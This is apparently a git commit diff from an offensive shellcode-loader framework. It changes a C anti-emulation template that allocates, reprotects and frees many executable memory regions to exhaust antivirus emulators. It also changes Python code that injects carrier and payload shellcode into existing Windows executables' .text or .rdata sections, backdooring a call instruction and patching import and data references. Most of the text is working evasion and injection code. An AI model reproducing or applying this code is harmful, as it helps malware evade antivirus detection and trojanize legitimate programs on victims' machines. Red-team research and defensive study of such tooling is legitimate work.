This commit is contained in:
Dobin Rutishauser
2024-07-07 21:40:23 +02:00
10 changed files with 103 additions and 60 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
+16 -23
View File
@@ -1,13 +1,16 @@
#define SIR_ITERATION_COUNT {{SIR_ITERATION_COUNT}}
#define SIR_ALLOC_COUNT {{SIR_ALLOC_COUNT}}
#define SIR_SLEEP_TIME 200 // ms
/* This will allocate SIR_ALLOC_COUNT RW memory regions, /* This will allocate SIR_ALLOC_COUNT RW memory regions,
set them to RX, and free them set them to RX, and free them.
And this SIR_ITERATION_COUNT times.
SIR_ITERATION_COUNT: Single digits, around 5
SIR_ALLOC_COUNT: Tripple digits, around 100
Memory : SIR_ALLOC_COUNT * payload_length
Cycles : SIR_ALLOC_COUNT * payload_length * SIR_ITERATION_COUNT
Time : SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * payload_length * ?
API calls: SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * 3
The idea is that the AV emulator will probably give up, either because The idea is that the AV emulator will probably give up, either because
of used memory is above maximum, or amount of instructions, or of used memory is above maximum, or amount of instructions, or
@@ -18,11 +21,11 @@
*/ */
void antiemulation() { void antiemulation() {
void* allocs[SIR_ALLOC_COUNT]; void* allocs[{{SIR_ALLOC_COUNT}}];
DWORD result; DWORD result;
for(int i=0; i<SIR_ITERATION_COUNT; i++) { for(int i=0; i<{{SIR_ITERATION_COUNT}}; i++) {
for(int n=0; n<SIR_ALLOC_COUNT; n++) { for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
allocs[n] = VirtualAlloc( allocs[n] = VirtualAlloc(
NULL, NULL,
{{PAYLOAD_LEN}}, {{PAYLOAD_LEN}},
@@ -37,33 +40,23 @@ void antiemulation() {
} }
} }
// Write something. for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
/*for(int n=0; n<SIR_ALLOC_COUNT; n++) {
char *alloc = allocs[n];
alloc[0] = 0; // overwrite the first byte
}*/
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
if (VirtualProtect( if (VirtualProtect(
allocs[n], allocs[n],
{{PAYLOAD_LEN}}, {{PAYLOAD_LEN}},
p_RX, p_RX,
&result) == 0) &result) == 0)
{ {
return 7; return;
} }
} }
Sleep(SIR_SLEEP_TIME);
BOOL bSuccess; BOOL bSuccess;
for(int n=0; n<SIR_ALLOC_COUNT; n++) { for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
bSuccess = VirtualFree( bSuccess = VirtualFree(
allocs[n], allocs[n],
{{PAYLOAD_LEN}}, {{PAYLOAD_LEN}},
0x00008000); // MEM_RELEASE 0x00008000); // MEM_RELEASE
} }
} }
} }
@@ -22,6 +22,8 @@ char *supermega_payload;
{{plugin_executionguardrail}} {{plugin_executionguardrail}}
{{plugin_virtualprotect}}
int main() int main()
{ {
+4
View File
@@ -23,6 +23,10 @@ class Settings():
self.dllfunc: str = "" # For DLL injection self.dllfunc: str = "" # For DLL injection
# Anti-debugging
self.sir_iteration_count: int = 5
self.sir_alloc_count: int = 100
# Injectable # Injectable
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr
self.inject_exe_in: FilePath = "" self.inject_exe_in: FilePath = ""
+1 -1
View File
@@ -129,7 +129,7 @@ class SuperPe():
def has_rodata_section(self) -> bool: def has_rodata_section(self) -> bool:
return self.get_section_by_name(".rdata") return self.get_section_by_name(".rdata") != None
def write_code_section_data(self, data: bytes): def write_code_section_data(self, data: bytes):
+53 -17
View File
@@ -45,30 +45,62 @@ class Injector():
def init_addresses(self): def init_addresses(self):
if self.settings.payload_location == PayloadLocation.CODE:
#. text
# ┌───────────┬─────────────────────────────────────┬───────┐
# │ ├────────┼────────┼───────────────────┤ │
# │ │Carrier │ 1 Page │ Payload │ │
# │ ├────────┼────────┼───────────────────┤ │
# └───────────┴─────────────────────────────────────┴───────┘
#
# Payload is page aligned when used with dll_loader_change
# carrier location
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
rm = self.superpe.get_code_rangemanager() rm = self.superpe.get_code_rangemanager()
# TECHNIQUE0:
# assume payload is big, find a place for it, then prepend carrier (small)
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
largest_gap = rm.find_holes(complete_size) largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0: if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!') raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0] largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
# align to center
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0] offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# payload location: behind carrier + 1 page
if self.settings.carrier_name == "dll_loader_change": if self.settings.carrier_name == "dll_loader_change":
# Align to page size self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096
offset = offset & 0xFFFFF000 self.payload_rva = self.payload_rva & 0xFFFFF000 # page align
else:
# no page align
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096
else:
# .text .rdata
# ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐
# │ │ │ │ │ │ │ │
# │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# page aligned possibly # carrier location
self.payload_rva = offset rm = self.superpe.get_code_rangemanager()
complete_size = len(self.carrier_shc)
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# prepend it a bit # payload location
self.carrier_rva = offset - len(self.payload.payload_data) - 4096 rdata_rm = self.superpe.get_rdata_rangemanager()
complete_size = len(self.payload.payload_data)
largest_gap = rdata_rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = largest_gap[0][0]
self.payload_rva = self.superpe.get_section_by_name(".rdata").virt_addr + offset
## Inject ## Inject
@@ -105,6 +137,9 @@ class Injector():
else: # EXE/DLL else: # EXE/DLL
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
if carrier_offset == None:
raise Exception("Carrier Offset is None, invalid carrier RVA? 0x{:X}".format(self.carrier_rva))
#logger.info("{} {}".format(self.carrier_rva, carrier_offset))
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format( logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset)) self.carrier_rva, carrier_offset))
@@ -205,7 +240,9 @@ class Injector():
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format( raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(placeholder) len(jmp), len(placeholder)
)) ))
idx = code.index(placeholder)
code = code.replace(placeholder, jmp) code = code.replace(placeholder, jmp)
asm_disasm(code[idx:idx+7])
self.superpe.write_code_section_data(code) self.superpe.write_code_section_data(code)
@@ -217,8 +254,6 @@ class Injector():
# nothing todo # nothing todo
return return
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
# insert data # insert data
logger.info("---( DataReuseFixups: Inject the data") logger.info("---( DataReuseFixups: Inject the data")
for datareuse_fixup in reusedata_fixups: for datareuse_fixup in reusedata_fixups:
@@ -226,6 +261,7 @@ class Injector():
datareuse_fixup.string_ref, datareuse_fixup.in_code)) datareuse_fixup.string_ref, datareuse_fixup.in_code))
if datareuse_fixup.in_code: # .text if datareuse_fixup.in_code: # .text
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data) self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset) payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base() datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
@@ -270,8 +306,8 @@ class Injector():
) )
asm_disasm(lea, instruction_virtual_address) # DEBUG asm_disasm(lea, instruction_virtual_address) # DEBUG
if len(lea) != len(ref.placeholder): if len(lea) != len(ref.placeholder):
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format( raise Exception("DataReuseFixup: lea instr has different length than placeholder {}: {} != {} abort".format(
len(lea), len(ref.placeholder) ref.placeholder, len(lea), len(ref.placeholder)
)) ))
code = code.replace(ref.placeholder, lea) code = code.replace(ref.placeholder, lea)
+10 -6
View File
@@ -60,15 +60,19 @@ def create_c_from_template(settings: Settings, payload_len: int):
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format( filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
settings.plugin_antiemulation) settings.plugin_antiemulation)
with open(filepath_antiemulation, "r", encoding='utf-8') as file: with open(filepath_antiemulation, "r", encoding='utf-8') as file:
sir_iteration_count = 5 sir_iteration_count = settings.sir_iteration_count
sir_alloc_count = int(config.get("sir_target_mem") / payload_len)+1 sir_alloc_count = settings.sir_alloc_count
# sir_alloc_count = int((int(config.get("sir_target_mem")) / payload_len))+1
max_alloc_count = 256
if sir_alloc_count > max_alloc_count:
# if too large, compiler will add a __checkstk dependency # if too large, compiler will add a __checkstk dependency
if sir_alloc_count > 256: logging.warning("Too large sir allocation count {}, setting to max {}".format(
sir_alloc_count = 256 sir_alloc_count, max_alloc_count
logging.info(" AntiEmulation target: iterations: {} alloc: {}".format( ))
sir_alloc_count = max_alloc_count
logging.info("> AntiEmulation: iterations: {} allocs: {}".format(
sir_iteration_count, sir_alloc_count) sir_iteration_count, sir_alloc_count)
) )
plugin_antiemualation = file.read() plugin_antiemualation = file.read()
plugin_antiemualation = Template(plugin_antiemualation).render({ plugin_antiemualation = Template(plugin_antiemualation).render({
'PAYLOAD_LEN': payload_len, 'PAYLOAD_LEN': payload_len,
+4
View File
@@ -203,6 +203,10 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path) build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode) observer.add_code_file("carrier_shc", carrier_shellcode)
logging.info("> Carrier Size: {} Payload Size: {}".format(
len(carrier_shellcode), len(project.payload.payload_data)
))
# INJECT loader into an exe and do IAT & data references. Big task. # INJECT loader into an exe and do IAT & data references. Big task.
injector = phases.injector.Injector( injector = phases.injector.Injector(
carrier_shellcode, carrier_shellcode,